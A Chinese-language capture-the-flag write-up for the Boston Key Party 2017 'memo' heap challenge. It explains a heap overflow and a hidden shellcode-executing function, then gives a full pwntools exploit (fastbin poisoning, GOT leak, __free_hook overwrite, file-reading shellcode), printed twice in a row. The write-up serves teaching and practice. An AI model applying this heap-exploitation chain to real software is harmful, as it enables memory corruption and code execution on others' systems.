bosten key party 2017 memo writeup

memo

题目

https://github.com/ctfs/write-ups-2017/tree/master/boston-key-party-2017/pwn/memo-300

分析

题目有些生硬,很多地方都不太能说通,不过就是练习一下,就当刷水题了。

逻辑

  1. setvbuf等基本操作,以及使用prctl设置了no new privs,所以无法新建进程
  2. 输入用户密码,密码可以不写,全局变量name和password分别保留用户和密码,分别0x20大小
  3. 之后进入主要逻辑一共6个功能
    i. leave message 涉及到两个全局变量,size和memo,memo紧跟在size之后,size紧跟在password之后,size大小0x10,memo大小0x20。 size是int类型数组,一共有4个int,每一个表示0到3个message的大小。 memo一共有4个指针,每一个表示message的具体位置。 leave message有两种情况,一个是0x20大小以内,直接malloc该大小,并且在size数组中保存,存进memo里,另一个是0x20大小以上,malloc 0x20大小,然后使用read读取size大小,之后全局变量index保存为这次创建的index。
    ii. edit message,更改全局变量memo中全局变量index所在指针指向位置的内容,大小为size中index的值
    iii. view memo 查看某个index的memo内容
    vi. delete memo 删除某个index的memo内容,直接free,并且将memo数组中该位置设置为0,删除前先判断
    v. change password 更改密码内容

开启的保护主要是 NX, FULL RELRO, 没有开启PIE

漏洞

  1. leave message位置,如果大于0x20,read时候读取的还是size,size此时大于0x20,存在溢出。
  2. 有一个隐藏函数,位于0x400b47,会执行输入的内容

利用分析

溢出的自由度比较大,利用也比较简单。
大概步骤是
1. password设置最后位置为0x31,由于password和size紧邻,用来通过fastbin 分配的check
2. 利用溢出,修改fd指针到password写入0x31的位置,然后分配出指向size位置的chunk
3. 修改memo位置的指针,指向任意一个GOT表中的指针,然后利用view来获取地址,得到libc基地址
4. 再次修改memo位置指针,指向__free_hook,然后通过edit来修改__free_hook指向隐藏函数
5. 通过shellcode完成open read 和write得到flag

题目比较简单,我就直接给exp了

exp

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

DEBUG = 1
GDB = 1
if DEBUG:
    p = process("./memo")
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

shellcode = '''
mov rax, 0x2
mov rdi, 0x41410100
xor rsi, rsi
syscall
mov rdi, rax
mov rsi, 0x602000
mov rdx, 0x100
xor rax, rax
syscall
mov rax, 1
mov rdi, 1
mov rsi, 0x602000
mov rdx, 0x100
syscall
'''

def init_all(name, password):
    p.recvuntil('name:')
    p.sendline(name)
    p.recvuntil('(y/n)')
    if password is not None:
        p.sendline('y')
        p.recvuntil('Password:')
        p.sendline(password)
    else:
        p.sendline('n')


def leave_message(index, msg):
    p.recvuntil('>>')
    p.sendline('1')
    p.recvuntil('Index:')
    p.sendline(str(index))
    p.recvuntil('Length:')
    length = len(msg)
    p.sendline(str(length))
    if length <= 0x20:
        p.recvuntil('Message:')
        p.send(msg)
    else:
        p.recvuntil('though')
        p.send(msg)

def edit_message(msg):
    p.recvuntil('>>')
    p.sendline('2')
    p.recvuntil('message:')
    p.sendline(msg)
    p.recvuntil('edited message!\n')
    ret = p.recvline()[:-1]
    return ret

def view_memo(index):
    p.recvuntil('>>')
    p.sendline('3')
    p.recvuntil('Index:')
    p.sendline(str(index))
    p.recvuntil('Message: ')
    ret = p.recvline()[:-1]
    return ret

def delete_memo(index):
    p.recvuntil('>>')
    p.sendline('4')
    p.recvuntil('Index:')
    p.sendline(str(index))

def change_password(orig_pass, new_name, new_pass):
    p.recvuntil('>>')
    p.sendline('5')
    p.recvuntil('Password:')
    p.sendline(orig_pass)
    p.recvuntil('name:')
    p.sendline(new_name)
    p.recvuntil('password:')
    p.sendline(new_pass)

def main():
    if GDB:
        raw_input()
    init_all('a', p64(0x31).rjust(0x20, '\x00'))
    leave_message(1, 'c' * 0x20) # 1
    heap_base = u64(edit_message('a').ljust(8, '\x00'))
    log.info('heap base address {}'.format(hex(heap_base)))
    leave_message(2, 'd' * 0x20) # 1, 2
    leave_message(3, 'e' * 0x20) # 1, 2, 3
    delete_memo(2) # 1, 3
    delete_memo(1) # 3
    password_addr = 0x602a40
    size_addr = 0x602a60
    changed_fd = password_addr + 0x10
    leave_message(1, 'f' * 0x20 + p64(0) + p64(0x31) + p64(changed_fd)) # 1, 3
    leave_message(2, 'g' * 0x20) # 1, 2, 3
    free_at_got = 0x601f78

    fake_message_head = p32(0x20) + p32(0x20) + p32(0x20) + p32(0x20)
    log.info('this one should be in bss')
    leave_message(0, fake_message_head + p64(size_addr) + p64(free_at_got)) # 0, 1, 2, 3
    free_address = u64(view_memo(1).ljust(8, '\x00'))
    log.info('free address at got is {}'.format(hex(free_address)))
    libc_base = free_address - libc.symbols['free']
    log.info('libc base is {}'.format(hex(libc_base)))
    free_hook = libc_base + libc.symbols['__free_hook']
    log.info('free hook is {}'.format(hex(free_hook)))

    edit_message(fake_message_head + p64(free_hook) + p64(heap_base + 0x10))

    hidden_func = 0x400b47
    # editing __free_hook
    edit_message(p64(hidden_func))

    delete_memo(1)
    p.send(asm(shellcode).ljust(0x100, '\x00') + 'flag\x00')
    p.interactive()

if __name__ == "__main__":
    main()
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

DEBUG = 1
GDB = 1
if DEBUG:
    p = process("./memo")
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

shellcode = '''
mov rax, 0x2
mov rdi, 0x41410100
xor rsi, rsi
syscall
mov rdi, rax
mov rsi, 0x602000
mov rdx, 0x100
xor rax, rax
syscall
mov rax, 1
mov rdi, 1
mov rsi, 0x602000
mov rdx, 0x100
syscall
'''

def init_all(name, password):
    p.recvuntil('name:')
    p.sendline(name)
    p.recvuntil('(y/n)')
    if password is not None:
        p.sendline('y')
        p.recvuntil('Password:')
        p.sendline(password)
    else:
        p.sendline('n')


def leave_message(index, msg):
    p.recvuntil('>>')
    p.sendline('1')
    p.recvuntil('Index:')
    p.sendline(str(index))
    p.recvuntil('Length:')
    length = len(msg)
    p.sendline(str(length))
    if length <= 0x20:
        p.recvuntil('Message:')
        p.send(msg)
    else:
        p.recvuntil('though')
        p.send(msg)

def edit_message(msg):
    p.recvuntil('>>')
    p.sendline('2')
    p.recvuntil('message:')
    p.sendline(msg)
    p.recvuntil('edited message!\n')
    ret = p.recvline()[:-1]
    return ret

def view_memo(index):
    p.recvuntil('>>')
    p.sendline('3')
    p.recvuntil('Index:')
    p.sendline(str(index))
    p.recvuntil('Message: ')
    ret = p.recvline()[:-1]
    return ret

def delete_memo(index):
    p.recvuntil('>>')
    p.sendline('4')
    p.recvuntil('Index:')
    p.sendline(str(index))

def change_password(orig_pass, new_name, new_pass):
    p.recvuntil('>>')
    p.sendline('5')
    p.recvuntil('Password:')
    p.sendline(orig_pass)
    p.recvuntil('name:')
    p.sendline(new_name)
    p.recvuntil('password:')
    p.sendline(new_pass)

def main():
    if GDB:
        raw_input()
    init_all('a', p64(0x31).rjust(0x20, '\x00'))
    leave_message(1, 'c' * 0x20) # 1
    heap_base = u64(edit_message('a').ljust(8, '\x00'))
    log.info('heap base address {}'.format(hex(heap_base)))
    leave_message(2, 'd' * 0x20) # 1, 2
    leave_message(3, 'e' * 0x20) # 1, 2, 3
    delete_memo(2) # 1, 3
    delete_memo(1) # 3
    password_addr = 0x602a40
    size_addr = 0x602a60
    changed_fd = password_addr + 0x10
    leave_message(1, 'f' * 0x20 + p64(0) + p64(0x31) + p64(changed_fd)) # 1, 3
    leave_message(2, 'g' * 0x20) # 1, 2, 3
    free_at_got = 0x601f78

    fake_message_head = p32(0x20) + p32(0x20) + p32(0x20) + p32(0x20)
    log.info('this one should be in bss')
    leave_message(0, fake_message_head + p64(size_addr) + p64(free_at_got)) # 0, 1, 2, 3
    free_address = u64(view_memo(1).ljust(8, '\x00'))
    log.info('free address at got is {}'.format(hex(free_address)))
    libc_base = free_address - libc.symbols['free']
    log.info('libc base is {}'.format(hex(libc_base)))
    free_hook = libc_base + libc.symbols['__free_hook']
    log.info('free hook is {}'.format(hex(free_hook)))

    edit_message(fake_message_head + p64(free_hook) + p64(heap_base + 0x10))

    hidden_func = 0x400b47
    # editing __free_hook
    edit_message(p64(hidden_func))

    delete_memo(1)
    p.send(asm(shellcode).ljust(0x100, '\x00') + 'flag\x00')
    p.interactive()

if __name__ == "__main__":
    main()
展开阅读全文

没有更多推荐了,返回首页

©️2019 CSDN 皮肤主题: 大白 设计师: CSDN官方博客
应支付0元
点击重新获取
扫码支付

支付成功即可阅读